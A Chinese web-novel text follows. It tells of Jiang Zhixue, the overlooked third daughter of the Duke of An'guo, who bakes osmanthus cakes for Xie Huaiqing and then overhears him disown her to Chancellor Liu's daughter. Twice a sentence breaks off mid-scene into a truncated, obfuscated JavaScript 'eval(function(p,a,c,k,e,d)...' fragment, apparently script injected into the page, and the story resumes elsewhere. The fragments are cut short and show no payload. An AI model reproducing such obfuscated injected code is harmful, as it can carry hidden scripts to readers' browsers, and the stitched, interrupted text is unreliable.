《与废太子的流放生存纪事》 1. 桂花糕 “……不知你们可听说过安国公府的三小姐?”京城最大的茶楼里人满为患,就连门外楼梯处都聚满了人。台上的说书人讲到这里停了下来,一双眼睛透着狡黠,巡睃着面露疑惑的人们。 底下私语声渐起。 “安国公府三小姐?是谁啊?” “我记得安国公分明只有二女,哪来的三小姐,诶你听说过吗?” “莫不是?” …… “黄老板,你就别卖关子了,赶紧给我们说道说道。”有人在人群中高喊,其他人也连忙附和。 台上的黄金贵满意地看着他们的反应,浅酌一口热茶,待人声高涨,将桌上的扇子“唰”一声打开,另一只手惯性摸着胡须,笑着不紧不慢道:“话说这安国公府的三小姐,见过的人都赞她是玉生粉黛,风姿绰约啊。听闻她母家世代从商,是云州一带也赫赫有名的商户,曾在安国公遇难时帮扶过他。” 说着叹了口气:“唉,这安国公也是知恩图报菩萨心肠,当年三小姐母家遭难,安国公不顾闲言碎语,已有婚约还是将人接进了府。当家主母更是大度,听闻她的坎坷遭遇,自己还未成婚,硬要让安国公给她个名分抬了妾室。后面三小姐出生也是和大小姐放一块儿玩耍着长大。” “大小姐安国公府嫡女,我们都知道,既是一块长大,怎的三小姐从未听说过,你该不会编了个故事诓我们的吧?”是之前高声催促的人。 台下又议论纷纷。黄金贵扇子一收,瞪着眼睛看向那人,“我在这茶楼这么多年,若说假话我还混得下去吗?”语罢抬手安抚着躁动的人群,清了清嗓子,“从小到大国公夫人对她们可谓一视同仁,吃穿用度大小姐有的三小姐都有。”说着声音突然低了下来:“我也是多方打听才知晓,原来,是三小姐自己啊,不肯在人前露面,也不准别人在外面谈起她。安国公夫人曾为此不知费了多少心神,后来啊也就随她去了。” ...... 台上的黄金贵说得唾沫横飞,台下挤挤挨挨站着的人群里,一穿着朴素的女子领着身旁的小丫鬟,悄然退了出去。 “早听闻说书人最会胡扯,今日我算是见识到了,上下嘴皮子一碰,真是天地都能给颠倒了去!”一出门,小丫鬟便再也忍不住怒气冲冲道。 “挺有意思的不是吗?”女子戴上斗篷的兜帽,笑着看向身旁的小丫鬟。此人正是今日这茶楼故事的主角——安国公府三小姐江知雪。 “可是小姐,这分明一听就知道漏洞连连,那些人简直就是一群傻子,这都听不出来。”小丫鬟依旧气鼓鼓。 江知雪好笑地拍了拍小丫鬟的肩膀:“哎呀我的傻云双,还说别人傻呢,你没看出来黄老板和大声发问的人分明是一唱一和嘛。” “啊?竟然是这样,可……” 一阵寒风刮过,直往人的衣领子里钻,雪花就这样猝不及防落下来。冻得云双瑟缩了下脖子,抬眼望着小姐,却见她盯着雪花愣神,于是咽下了要询问出口的话。 自从圣旨赐下,在皇帝的默许和安国公府有意的透露下,大街小巷都在说着安国公府三小姐与废太子的婚事。他们力图挖掘从未听说过的三小姐的每一件事,用尽各种词汇贬低着从前光风霁月的废太子。三个多月,关于她和废太子以及他们的赐婚,每天都上演着不同的说法,茶楼里总是坐满了人。 人们总是乐此不疲于探听皇家和权贵的密辛,颠倒黑白的言论层出不穷,其中最广为流传的、最令人信服的便是黄金贵那一流。即便依旧漏洞百出,但只要多数人这么说,那么无论多么荒唐,都是事实。 厚重的云层被风吹得翻卷,雪花随着风四处飞撒,呼出的空气凝着白雾。眼见雪有变大的趋势,江知雪紧了紧斗篷,牵起云双的手,语气与之前听不出差别,“走吧,雪要变大了,咱们回家。” 永宁二十三年秋,羌戎来犯,边关将领韩时率众退其一百里,捷报连传。皇帝大悦,恰逢中秋佳节,特邀群臣携亲眷进宫参加庆功宴。 又逢长公主年初于京城左郊开辟的锦花阁建成,听闻阁中专人负责培育各种奇花异草,亭台楼阙天上人间。早在建成前,长公主便已下帖邀京中小辈赴宴赏花,因而此次庆功宴小辈并不参加。 中秋当日,天边才露出一丝亮光,江知雪就出现在了厨房。 此处是安国公府的一处废弃院子,地处偏僻,匾书引梅园。园里只住了江知雪和她的阿娘秦轻水、秦轻水的陪嫁丫鬟李翠兰及云双。 听说在安国公之前,这座园子在京中盛极一时,园中种满梅树,冬天大雪,朵朵梅花点缀其间,犹临仙境。如今只余几间破败屋子,其中发生的事已不可考。 灶下柴禾燃烧,照得厨房暖融融亮堂堂,江知雪正在灶台前做桂花糕。 前一天晚上醒发好的面团,放入猪油、白糖和匀,放在砧板上,用擀面杖压扁。再在盆中倒入糯米粉加水充分和匀,上锅蒸熟,加上前些天亲自采摘酿制的桂花蜂蜜,揉搓成团,放入面皮中,最后将面皮收紧封口做成桂花的形状。 江知雪看着砧板上一个个排列整齐的白色桂花糕,总觉得有些单调,想了想,又寻了些晒干的桂花撒在表面作装饰。待一切都准备好,江知雪小心翼翼将它们放入蒸笼。 云双正坐在灶下打盹,头一点一点宛如小鸡啄米。 江知雪忍不住“噗嗤”一声笑出来,又赶忙捂住嘴,火光跳跃在她眸中,照得那双杏眸清澈透亮。 灶下火光渐弱,云双还在打瞌睡,江知雪默默叹了口气,认命般走去灶下,蹲在云双旁边,给灶洞添柴。干柴遇火,发出“噼啪”声,惊得云双瞬间清醒,抬头一看自家小姐正蹲在旁边添柴,一张小脸更添慌乱,“小姐,你......” 话未说完,江知雪连忙打断了她:“我的大小姐睡得如何呀?”脸上是一派严肃。云双抱头痛哭,“我错了小姐,饶了我吧,再也不敢了呜呜。”看着这个样子的云双,江知雪再也绷不住,哈哈笑出声。 云双听到笑声,也不装了,脸上带笑凑过去故作讨好道:“小姐不生气啦?” “我就知道你是捉弄我的!”江知雪气鼓鼓,作势便要挠云双的痒。 “哎呀呀,哈哈好小姐,你就饶了我吧,分明是你捉弄我在先,哈哈哈。” “你还敢顶嘴!” “大老远就听见你们的声音,什么事这么热闹啊?”一道轻柔的声音从门口传来,二人同时停下动作,江知雪直接站起来跑了过去,一把抱住来人的胳膊撒娇,“阿娘~”。 秦轻水一袭浅青色衣裙,身形单薄,头发只简单挽起并一支桃木簪。杏眼似含了江南朦胧细雨后的雾气,温婉动人,却难掩疲态。 她轻扫一眼灶上蒸笼,心下了然。拍了拍江知雪的手,淡淡开口:“想清楚了?” 江知雪站好,正色起来:“嗯,我想过了,我已过了及笄的年纪,与其日后被主母随意许配了人,不如自己争取一把。何况……”说到这里,江知雪瞥了一眼灶上蒸笼,脸上露出些许不自然,“何况我与他相识多年,他也曾隐晦提过娶我为妻。” “谢家毕竟是广平侯府,世代功勋,谢怀清又是侯府嫡次子,咱们无名无分,你觉得侯爷和侯夫人能同意吗?” 这样一个显赫世家,所求儿媳必定门第身份相当,岂是安国公府连丫鬟都比不得的她们能肖想的。江知雪心思纯澈,只看到一个“情”字。秦轻水不忍女儿为此受苦,可看她一副小女儿心思,到底难听的话没说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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犹记得当时对方似乎笑了一下,配上外头正正好的阳光,让人如沐春风,可他的话却是让人如坠冰窟:“我也感到抱歉,这位姑娘,在下是专程来买此书的。” 江知雪转头看向掌柜,明明是她先租的书,怎么转头又卖给了别人。见其不停拿袖子擦汗,以为掌柜同时欺骗了两人。正欲过去同他理论,却见掌柜在悄悄对她使眼色,待她走近,用只有两人能听到的声音告诉她,买书之人是广平侯之子,让她千万不要得罪。 这无疑是一个晴天霹雳,这样的大人物给她十个胆子她也得罪不起,自己又是偷跑出来,万一被国公爷和夫人得知,还不知道怎么死的。 她眼睛死死盯着那本书,不甘心抬头看了一眼广平侯之子,只见那人含笑的嘴角仿佛在嘲笑她的不自量力。江知雪到底还是卸了气,稳定心神,咽下不甘和不舍,向广平侯之子道歉:“是我冒犯了,还望公子莫要怪罪。”又转过头看向掌柜:“掌柜,租书的钱就先托您保管,下次刊印劳烦您给我留一本。” 掌柜答应后,江知雪带着低落出了书铺。 不想未走出几步,那个广平侯之子追了上来,拦住她的去路:“你这姑娘还挺有趣的嘛,嘴上说着公子莫怪,怨念重得都要跑出来了。嗯......所看之书也与别家姑娘不同。”说着抬手揖了一礼,“在下谢怀清,感觉与姑娘十分投缘,瞧姑娘似乎十分喜爱此书,不若我先借与你,等你看完再还给我。” 就这样以借书为由,二人开始书信往来,在这过程中双方惊叹于对方喜爱的书籍风格和自己相似,开始慢慢熟识。 只是谢怀清似乎一直认为她是安国公府的丫鬟,恰好江知雪也怕被府里发现,于是默认了这个身份。谢怀清甚至为她想了个身份,以她的远房表妹为名,与他一同参加各种诗宴文宴。 与他相识的这五年,江知雪通过书籍了解到很多奇人轶事,在书中和他口中见过各种瑰丽奇景,越发感叹山河壮阔,恨不能亲眼目睹。 秦轻水看着愣神的女儿,脸上还时不时露出笑容,不由摇了摇头,提醒云双照看好小姐,便离开了厨房。 2. 看清 天色大亮,树上的鸟雀叽喳叫着。 江知雪将蒸好的桂花糕小心翼翼地放入食盒,看着盒中乖巧可爱的浅黄色糕点,想象着谢怀清吃到时的赞叹,只觉心情畅快。 空气中弥漫着桂花香气。江知雪在卧房梳妆镜前坐下,云双将首饰盒取来,把里面的发饰一一摆放。江知雪双手撑脸,眼睛定格在一支白玉兔捣药簪上。 她的发饰并不多,大多是从外面小摊贩处买来的,唯独这支白玉兔捣药簪最最珍贵,这是谢怀清赠予她的第一件礼物,也是她最珍视的一件。 白兔由温色白玉雕刻而成,静坐青玉绿叶之上,细碎金箔作桂花点缀其间。簪身通透,摸上去竟是温热。 这支簪子江知雪从未在人前戴过,在府中怕被人瞧见引火烧身,在外又太过招摇。 但今日,江知雪顾不得那么多。她已及笄,谢怀清明年也将参加春闱,春闱一过,不论他上不上榜,侯府势必都会为他张罗亲事。她怕谢怀清还不清楚她的心意,今日可能是自己唯一的最后的机会。 江知雪看向镜子,镜中的自己面容还带着些许青涩,一双杏眼像极了阿娘,却独有一份清亮纯澈,蛾眉淡扫,口脂轻点,虽比不得京中贵女的倾城倾国色,也是芙蓉出水清秀可人。 素手拿起桌上的白兔捣药簪,小心翼翼插入发髻,配一件鹅黄色罗裙,俨然一副大家闺秀的模样。 又仔仔细细看了一遍装扮可有错漏之处,江知雪便提着食盒与云双出发了。 时辰尚早,但江知雪早已迫不及待想与之见面。 出了安国公府,便是府门林立的万福街。一路上车马往来不绝,或精致贵气,或低调朴素,除却赴宫宴的官员,还有赴花宴的少男少女,当然,更多是前往望雀街的人。 江知雪行走其间,可谓一饱眼福。 叫卖声从远处传来,越往前走,声音越清晰。前面便是万花巷,它连接万福、望雀二街,多居商贾,店铺林立,摊贩更是无数。寻常日子里就是热闹场所,如今更是被堵得水泄不通。 江知雪拉着云双在人群中艰难行走,每一步都小心翼翼,生怕被人撞乱了发髻或弄脏了衣裙。 费尽九牛二虎之力,二人终于从人群中挣扎了出来。立于望雀门前,江知雪看着街道两旁站满了人,对比万花巷有过之而无不及。 此番盛景,自是不同寻常。边关退敌,除却庆功宴,皇帝特命太子前去京郊泰安寺还愿祈福,以彰皇家敬重之心。 望雀街便是太子前往泰安寺的必经之路。 太子沈思安,少时曾于议事院与群臣辩论,以一己之力将群臣辩得哑口无言,皇帝听闻后哈哈大笑,对其大加赞赏,自此一战成名。之后对上所献策略多颇为中肯,一矢中的,深得皇帝赏识与信任声名更上一层楼。 然其深居宫中,鲜少露面,只有寥寥几句传闻穿过重重宫墙,流于市井民间,言太子形如芝兰玉树,行若谦谦君子。是以太子此次出宫,京城哗然,人人都想一睹其风采。 临街的酒楼被各家公子小姐早早订下,车马喧嚣,招摇过市,锦衣华服的公子小姐们慢悠悠下轿,在丫鬟小厮的簇拥下走进酒楼。 日头渐高,江知雪不欲在此多费时间,抬脚往西郊方向走去。 头顶忽传来几声娇笑。江知雪闻声抬头往上看去,露天阁楼上,只见一众贵家小姐围着一红衣女子而坐,脸上讨好之意尽显,时不时讲些闺阁笑话,或说些讨巧的奉承话,只为博红衣女子一笑。 而那红衣女子,身穿当下京城最时兴名贵的云天锦,金色丝线在太阳的照射下闪着光,高高的云髻上珠钗环绕,面容姣好,妆容精致,神情透着倨傲,正姿态懒散地歪坐在贵妃塌上。 此人正是江知雪的大姐姐,安国公府嫡女江望月。她从小便是在万千宠爱中长大,一向目中无人。据说皇帝曾与安国公闲谈,欲将其女指婚给太子,自打江望月得知此事,眼睛更是只往天上看了。现下看样子那些贵女们多多少少知道了这件事,如此招摇真不知是好是坏。 不知是谁又说了什么笑话,逗得江望月捂嘴笑了起来。江知雪见她眼波流转间,似乎瞥到了自己,目光只定了一瞬,又若无其事地移开了。 江知雪早已习惯她的做派,也无心再看,正抬脚欲走,喧哗的街道突然安静下来,甲胄的碰撞声、整齐的脚步声由远及近。 “快看快看,是太子来了!”身边有人激动喊道。 有人小声提醒:“嘘!小声点,别被那些金吾卫听到了。” 刚才还喧哗的街道悄然安静了下来,江知雪想走又不敢走,心里哀嚎:“早知道这样就绕路了!” 人们翘首以盼,江知雪无事可做,只好也顺着他们的目光看过去。 金华轿辇,宝气珠光,金丝作线织成轿帘,黄金雕刻蛟龙为轿顶四角,通透汉白玉从蛟龙口中吐出,末端坠着明黄流苏,随着轿辇摆动起伏。 金吾卫百人、仪仗宫女六人分立前后,左右两侧另有随侍太监四人,最末更有一群举着祈福还愿用具的太监宫女。 天家贵胄,阵势威严。一行人浩浩荡荡,面容肃穆。金色甲胄和轿辇折射着耀眼的光芒,周围是此起彼伏的低声交流和吸气声。 “小姐,好长的队伍,好威严……”云双看得呆愣,一时忘了放低声音。 江知雪眼疾手快,赶忙捂住云双的嘴低下头去,只觉有无数道视线在盯着她们。 “这么大声讲话,不要命啦?”江知雪低声警告,一颗心不受控制地扑通着快跳出来。 缓了一会儿,江知雪小心地一点一点抬起头,看了看周围,人们好像没有再过多关注她们,那颗扑通的心算是落了回去。 云双被自己吓得不轻,不敢再抬头望一眼。 太子的轿撵依旧稳步前进着。 不知从何处吹来一阵风,窗帘被风吹起,江知雪就这样不期地与太子对上了视线。 金尊玉骨,郎艳独绝。这是江知雪此刻脑海里唯一能想到的词。然视线交汇时,只一瞬,分明太阳朗照,却让江知雪如临数九寒天。 那眼神太过冰冷,与传闻中温润君子形象可谓天壤之别。 江知雪好久都没缓过神,直到云双的声音唤在耳边响起:“小姐,太子他们已经走远了。”才发觉四周又渐渐恢复了热闹。 回忆起刚才的对视,她只觉起了一身鸡皮疙瘩,连忙挽起云双的手催促道:“走吧走吧。” 阁楼上,江望月双手撑着栏杆,眺望着渐行渐远的金色轿撵,双颊绯红,眸中情意绵绵。 一路上,太子那冰冷的眼神始终在江知雪的脑海中挥之不去,他的脸也开始与记忆深处的一张脸重叠。 那是某次跟随谢怀清参加的文宴上,江知雪独自坐在亭中休息,期间见一身穿华服的好看男子从前面路过,对方察觉她在看着时,一双眸子直勾勾地盯着,宛如一条吐着信子的毒蛇。 原来那是太子嘛。两次对视,似乎都与京城中的传闻不太相符。江知雪摇摇头,强迫自己别想写有的没的。 空气中传来浅淡的花香,西郊快要到了。 亭台楼阁已经能隐隐约约瞧见,再往里走,是一条幽静的小道,两旁常青树高耸入云,伸出的枝桠形成天然拱门,走入其中,顿觉清凉畅快。 穿过小道,是一面高高的围墙,两旁皆站着守卫。刻有精致浮雕的朱红木门大开,门前站着两个侍从打扮的人,正在查验请帖。 云双从袖中拿出请帖,上好的云砂纸,一打开,花香便扑鼻而来,是长公主最爱的金丝贯顶牡丹香。纸上贴有各色花瓣装饰,烫金的字体清雅飘逸。 这份请帖是前几天的清晨,谢怀清的贴身小厮特意送来的,一并送来的还有一封书信。 信的开头是一贯的问安,往后看去,却是满满的情意流露,表明自己对她的爱慕,盼与之共同赴宴。风格与以往大相近庭,直把江知雪看得面红耳赤。 甫一进门,眼前豁然开朗。奇花异草,争奇斗艳,游廊交错,飞阁如虹。还未到开宴时间,少男少女们此时三三两两,或曲水流觞,或赏花斗草,或静坐闲谈。 江知雪眼睛快速扫过人群,却不见谢怀清的踪影。又怕被人看出异样,只得尽量慢下步子,端着千金小姐应有的姿态,穿行于花丛之间。 眼看日头渐高,不少人都躲去了阴凉的地方或直接先在宴会落座,江知雪的额头也沁出了一层薄汗。 云双连忙拿出帕子为小姐擦汗,“小姐,要不咱们寻个遮荫处休息休息再找吧,此处亭台楼阁那么多,眼下一时半会也很难找到谢公子,说不准他被哪家公子邀走脱不开身。” 江知雪迟疑着,抬头看了看太阳,恍得人眼睛难受。那些公子 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身如修竹,气质非凡。隔着老远的距离,云双一眼就瞧出那是谢怀清谢公子。正高兴着准备喊自家小姐来看,却见谢怀清转身又掀起纱帘,从中虚扶出一位妙龄华服女子。 云双简直不敢相信自己的眼睛,一股怒气自胸腔升起,颇为愤愤不平地喊着小姐:“小姐,你快看看那亭中是谁?” 江知雪察觉出云双语气中的不对,面带疑惑向湖中心望去,恰好看见谢怀清伸手拉着那女子踏入船中。 时间似乎在一瞬间停止,江知雪眨眨眼,面露茫然。可下一瞬,悲苦便如潮水般袭来,直打得她回不过神。 她眼睁睁看着谢怀清与那女子欢颜谈笑,期间谢怀清甚至颇为体贴地为她斟茶扇风。 船只随着船夫的划桨轻晃,从莲叶中破开一条通路,带着清凌凌的水声,向岸边驶来。 云双连忙拉着江知雪朝树后躲去,江知雪的一颗心也随着越来越近的水声沉入湖底。 她本可以直接掉头就走,但心里总想着或许谢怀清有什么难言之隐呢?又或者那女子不过是某个亲戚?五年相识,江知雪不愿就这么轻易相信眼前的画面。 谢怀清的贴身小厮谢典不知从何处跑过来,在岸边候着。他似乎看到了江知雪,僵了一下,随即眼神躲闪,低下头匆匆走过。 过了一会儿,身后响起谢怀清温润的嗓音:“当心。”随后是衣料摩挲、脚落地面声。 “多谢谢公子。”那女子声音娇柔婉转,带着勾人的魅力。在江知雪看不见的树后,女子不着痕迹地看了谢典一眼,谢典会意,隐晦地点了点头,眼神示意江知雪的位置。 女子会心一笑,轻柔道:“早前便听闻谢公子丰神俊朗,也曾拜读过公子的文章诗词,那时就在想公子该是何等光风霁月之人,今日得见,远胜我心中所想。” 谢怀清眼里现出亮光,拱手揖礼谦让道:“柳小姐谬赞。” 能来参加长公主花宴的柳姓小姐,京城中除了柳相千金柳微竹没有第二个。 “实话而已,谈何谬赞。”柳微竹随意摆摆手,笑看着谢怀清,“今日怎么不见表妹赴宴?” 江知雪身形一怔,双手不自觉握紧食盒,既想听到谢怀清的回答,又为此感到害怕。 谢怀清似乎也愣了一下,声音透着不自然:“什么表妹?” “我听闺中密友谈起过,说你们常一起参加诗词文宴,好不亲密,有这样一个哥哥真是让她好不羡慕……” “柳小姐还请慎言!”谢怀清像是被人羞辱一般,急切地打断了她的话。又觉冒犯,连忙揖礼道歉,“抱歉,是在下唐突了。那表妹是家母族中旁支亲戚,五年前投奔府中,家母见她可怜就留她常住,得知她对诗词文赋感兴趣,家母便让在下多关照些。” 江知雪在树后死死攥着食盒,指骨都泛了白。 “听闻表妹颜色姝丽......” “怎及柳小姐倾城之姿。”谢怀清抢答。 柳微竹轻笑一声,漫不经心调侃:“谢公子可真会说话,想必表妹也是一位妙人,有机会定要引荐于我呀。” “这是自然......”谢怀清顺从回答。 江知雪深呼吸,紧攥食盒的双手放松下来。她不愿再听他们的对话,拉起云双的手就往外走。 3. 悲痛 迎着门口侍从的疑惑目光,江知雪和云双二人走了出来。 “宴席尚未开始,二位是要离席吗?”侍从带着不确定的语气试探问。 江知雪形容疲惫,面露歉意,浅福一礼道:“实在是身体不适,劳烦您通传一声,还望长公主恕罪。” 侍从见她脸色苍白,也没多想,恭恭敬敬送她们出去,表示话一定给长公主带到。 但长公主身份尊贵,赴宴人数上至权贵,下至无名小官,江知雪是个脸生的,侍从也不过客套几句,他并不认为长公主会闲到为了一个面都没见过的人细细过问。 “小姐,咱们就这么走了吗,为何不当面质问那个姓谢的?”云双愤愤不平。 “没必要了。”江知雪声音晦涩,带着不易察觉的颤抖。她回头看了一眼从枝桠间探出的亭台楼阁,只觉与它之间隔着永远无法触及的距离。 路上依旧车水马龙,摩肩擦踵,江知雪却再没有心思注意发髻是否被弄乱,服饰是否被弄脏。 耳边是云双对谢怀清的喋喋不休,江知雪只觉得脑子里乱糟糟的,面上更是茫然无措。 她仍记得谢怀清对她的温柔体贴,不止一次隐晦表达过他的心意。 更记得他曾于一次文宴上对那些阿谀奉承之辈嗤之以鼻,并表示要用自身实力获得认可,功名自己挣;也曾在自己因身份而自卑时说:“生于何处不是我们的自由,与人相交怎能以身份门第为准绳,唯有学识、德行才能站在高处。” 他遍览群书,见多识广,胸襟坦荡,不拘一格。少年意气,欲上九天揽月。与他相识的五年,江知雪早就被他感染,潜移默化地践行着他的准则。 可是现在,她听到了什么?谢怀清急于撇清和她的关系,甚至在柳微竹冒犯他时低眉顺眼!她只觉得在做梦。 就这样浑浑噩噩地回到了引梅园。 秦轻水少见地闲下来,坐在树荫下的竹椅上看书喝茶。江知雪极力掩饰自己的心情,十分牵强地露出一个笑容,喊了声“阿娘”。 可这哪里瞒得了秦轻水的眼睛,她一眼就看出了自己女儿的失魂落魄。 秦轻水与李婶对视一眼,心下了然。 但她并不打算现在就去宽慰江知雪,往后路还很长,她总有离家的一天,有些事,得靠她自己想明白。 所以秦轻水只是慢悠悠回了一句:“回来了。”便继续饮茶看书。 江知雪心乱如麻,正担心被阿娘发现要如何与阿娘解释,见阿娘并未察觉到什么,赶紧逃也似的回了自己屋子。 秦轻水放下书目光担忧地看着江知雪的背影,深深叹了口气:“翠兰姐,你说我刚刚那样不管她对吗?” 李婶跟着秦轻水这么多年,什么大风大浪没见过,对这些世家高门颇有一番见解。她没回答对或不对,只说道:“那些个世家权贵惯会装样子,表面上待人和善,实际上比谁都在乎身份地位。小姐心性单纯,把人总往好处了想,却也固执,她若不自己想通,我们再怎么说也是没用。” 房间还是早晨离开时的模样,江知雪颓然地坐在梳妆镜前,看着桌面摆放着的发饰,心碎地从头上取下那支玉兔捣药簪,将它放回一众发饰中。 又从梳妆桌的抽屉里抽出一个小木匣,上等楠木打造而成,透着古朴庄重,上面挂了一把小锁。这匣子是谢怀清专门赠予她用来放置二人信件的。 江知雪熟练打开木匣,信件已经厚厚一沓,前几日随请帖送来的信件正躺在最上层。 她小心将它取出,纸张上仍残留着请帖的花香。打开信封,熟悉的字迹跳入眼中,她再也忍不住,眼泪扑簌簌落了下来。 江知雪看着那封信,从头到尾,一遍又一遍,像是想要从中找到些什么,又像是单纯折磨自己。 这还不够,江知雪又取出更多信件一一细看。 从第一封到最后一封,她看着五年间他写与她的内容,除却心境思想越发成熟,笔锋越发凌厉,风格似乎从未变过……等等!风格从未变过,一个荒谬的想法从江知雪头脑中产生:前几日那封风格迥异的信不是谢怀清所写! 江知雪仔细对比,虽极力模仿,笔锋处仍有不同,起承转合都透着单薄,更何况,那大胆的风格,给谢怀清十个胆子他也不敢去写。 这就对了,她为什么早没有想到呢,如果她一开始没有相信那封信,也不会去那个宴会,更不会看到那样的谢怀清,他们还能像以前一样……不对,如果没去宴会,也不能看到那样的谢怀清,至今被蒙在鼓里。 可是…… 矛盾的想法充斥脑海,江知雪只觉头痛欲裂,伏在桌子上,任由痛苦讲她掩埋。 天色不知不觉间暗了下来,引梅园外响起了突兀的敲门声。李翠兰神色如常地打开门,果不其然门外站着个趾高气昂的丫鬟。 “夫人喊知雪姑娘过去用饭,赶紧收拾收拾跟我走吧。”丫鬟眼都没抬,慵懒又敷衍地说着每年来这破地方都说的话,“夫人”二字咬得尤其重。 李婶眼里闪过一丝愤恨,嘴上恭敬应着:“是,我这就去。”然后颇为干脆地转身,向江知雪的房间走去。 门被轻轻敲响,李婶说话声放得很轻:“小姐,是我,该去那边了。” 云双轻手轻脚开了门,李婶看到的是这样一幅画面:江知雪趴在梳妆桌上安静地睡着,昏暗的光线透过窗棂照进来,她的轮廓显得愈发柔和恬静,第一眼看去便打心眼里感到舒服。 “小姐太过伤心,一直看着书信流泪,现下哭累了睡过去了。”云双满含担忧,小声和李婶做着解释。 李婶眼里流露着心疼,声音也有些晦涩:“先把小姐叫起来吧。”她怎能不知小姐的难过,虽不了解事情经过,但结果必是谢怀清负了她,果然名门勋贵最是看重名利。 二人的说话声先云双一步叫醒了江知雪。她双眼红肿,脸上是被衣服压出的褶印,抬头看着窗外,一副刚睡醒时的茫然模样。 李婶和云双赶紧围过来,二人皆是一脸关切,李婶几次欲言又止,还是江知雪开口打破了沉默:“是要去主院了吗?” “是的小姐,那边来的丫鬟已经在外面候着了。”李婶温声说着,眼神示意云双给江知雪收拾收拾。 云双看着小姐双眼的红肿迟疑着。江知雪会意,语气平淡道:“云双,去拿颗鸡蛋给我敷敷吧。” 云双和李婶面面相觑,小姐之前分明伤心欲绝,怎么一觉睡醒这么平静,像变了个人似的。云双不敢耽搁,连忙去厨房取备好的热鸡蛋。 一切收拾妥当,江知雪的眼睛不细看已经看不出哭过的痕迹。她面无表情地开门,面无表情地走了出去。 门外站着的丫鬟早就等得不耐烦了,靠着门框,眉头紧皱,看到江知雪来了,狠狠“啧”了一声,头也不回地走在前面。 每年的中秋家宴,秦轻水她们是不能参加的,因为国公爷见了厌烦。 原本江知雪也不用参加,是老祖母从前常常挂在嘴边念叨,直念得主母林氏脸上的假笑都挂不住,赶紧给安国公去吹枕旁风,生怕老祖母日后在外人面前也念叨,那她贤惠的名声还要不要啦。好说歹说安国公才终于同意每年团圆宴让江知雪过去吃饭。 江知雪沉默地跟着丫鬟往前走着,往年这时候她的内心总是担忧惊慌的,现下却是无波无澜。 穿过重重廊道,又踏过数道垂花门,终于到了饭厅。厅内烛火通明,仆从们进进出出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那就有劳你了。” 汀溪带着江知雪七拐八弯,已经偏离了回去的路,四周人声越发稀少,晚蝉声阵阵。 湖边凉亭,江眠星正双手撑着栏杆,歪头看向湖面。汀溪把人带到就退了出去。 江知雪在亭中站定,也朝湖面看去。湖面波光粼粼,深处却是一片漆黑,月光再亮,也照不进那片漆黑。 沉默在黑夜蔓延,到底是江眠星受不了,先开了口:“你看上去似乎并不惊讶?” “二小姐,你今天的态度很不对劲。”江知雪说的并非疑问句。 江眠星转过身面向江知雪挑了挑眉,故作惊叹道:“原以为你是个傻的,平日里是在装模作样吗?” 秋天的夜里多少有些寒凉,微风随着一声叹息一起吹过,“那封信和长公主的宴帖是不是你设计送给我的?”江知雪紧抿嘴唇,眼睛直视她,像是下定决心,“说吧,你有什么目的?” “看你今天失魂落魄的样子想必已经知道了谢怀清那厮究竟是什么样的人,你知道我说的是什么意思吗?”江眠星也不开玩笑了,同样直视着对方,步步紧逼:“我为了这张宴帖可是花费了不少时间和人情,你猜他又在你面前装了多久呢?” 江知雪以为自己早已平静,以谢怀清万全的性子,她不难猜到这次花宴他一定为与柳小姐的相会准备了很久,可再次听江眠星说起,痛苦还是止不住地从四面八方涌来。 眼看着她离自己越来越近,江知雪的手指都忍不住掐进肉里。她开始害怕,江眠星再多说一句,或许她的理智就要崩溃。 可江眠星突然停下动作,笑着摆了摆手,又恢复了之前的随意姿态,“目的嘛肯定是有的,不过暂时还没想到,你可别忘了欠我一个人情。” 说着朝江知雪微福一礼,又添了一句:“天黑夜冷,妹妹早些回吧。”而后脚步轻快出了亭子,丫鬟汀溪立时过来,在前面为她掌灯。 四下又恢复了寂静,只余晚蝉在不顾一切地叫着。月光如水,斜穿过凉亭浇在江知雪身上,直把她浇得冰冷。 4. 忆往昔解心结 江知雪都不知道自己怎么回的引梅园。 云双焦急地等在门口,瞧见她回来,立刻迎上去,满脸担忧地拉着她左看右看,见没有大碍才放下手,松了一口气,“小姐,今日怎么回来得这么晚,可是那边为难你了?” 江知雪摇了摇头,没有说话,自顾自地继续往园子里走。 云双知她心里难过,也不敢多说,看着江知雪进了房间,连忙去准备洗漱用具。 赏花宴上回来时随手放在桌上装着桂花糕的食盒已经不见了,梳妆桌上还堆放着摊开的信纸。 江知雪走过去,麻木地将信纸一张一张叠好放回木匣,然后重新落锁。 烛火微微跳动,有那么一瞬间,江知雪想把和他的书信全部烧毁。 门外传来敲门声,是云双叫她去洗漱。待一切收拾完毕,云双在房间门口看着她,犹豫不决。 江知雪知道云双是在担心自己,但她已无心应对任何事,努力扯出一个笑脸,“这么担忧地看着我做什么,你家小姐我可好着呢,傻站着干什么,快回去休息吧。” “小姐,我陪陪你吧?”云双固执不肯走。 江知雪的眼神显出疲惫,脸上重新悲苦起来:“让我一个人静一静吧。” 目送着云双离去,江知雪合上门,拢衣靠坐在床上,习惯性拿起床头小木桌上的一本书看起来。往日里很容易看进去的内容,此时却怎么都看不进去,明明自己什么都没想,可脑子里却是乱糟糟的。 一阵凉风自门口吹来,吹得书页翻动,江知雪盯着书却浑然不觉,直到食盒碰击桌面发出轻响。 江知雪以为是云双过来,一抬头,对上一双慈爱的眼睛。 秦轻水一边将食盒中的吃食拿出来摆放到桌面,一边温柔地看着她,连声音都轻柔得不像话:“往年你从那边回来,每次都大声喊着‘好饿好饿,要吃这个要吃那个’,今天怎么不想着吃了?” “我吃不下……”江知雪声音闷闷的。 摆完吃食,秦轻水走到床边坐下,目光关切地瞧着江知雪,心里明镜似的,嘴上却问道:“是主母又说你什么了吗,还是她们为难你了?”她还是想让江知雪自己说出口,要不然她又怎能面对此事。 江知雪看着阿娘关切的眼神,喊了一声“阿娘”,便再也忍不住,趴到她肩膀上哭起来。 起先是低声呜咽,而后是嚎啕大哭。 秦轻水将她抱住,轻轻拍着她的背,心疼极了:“哭出来就好了,哭出来就好了,阿娘在呢。”有时候,只要哭出来,就离说出口不远了。 不知过了多久,江知雪终于哭累了,理智似乎也回笼了些许。 她红着一双杏眼,抽噎着吸了吸鼻子,声音还带着点哽咽:“阿娘,你是不是早就察觉到了。” 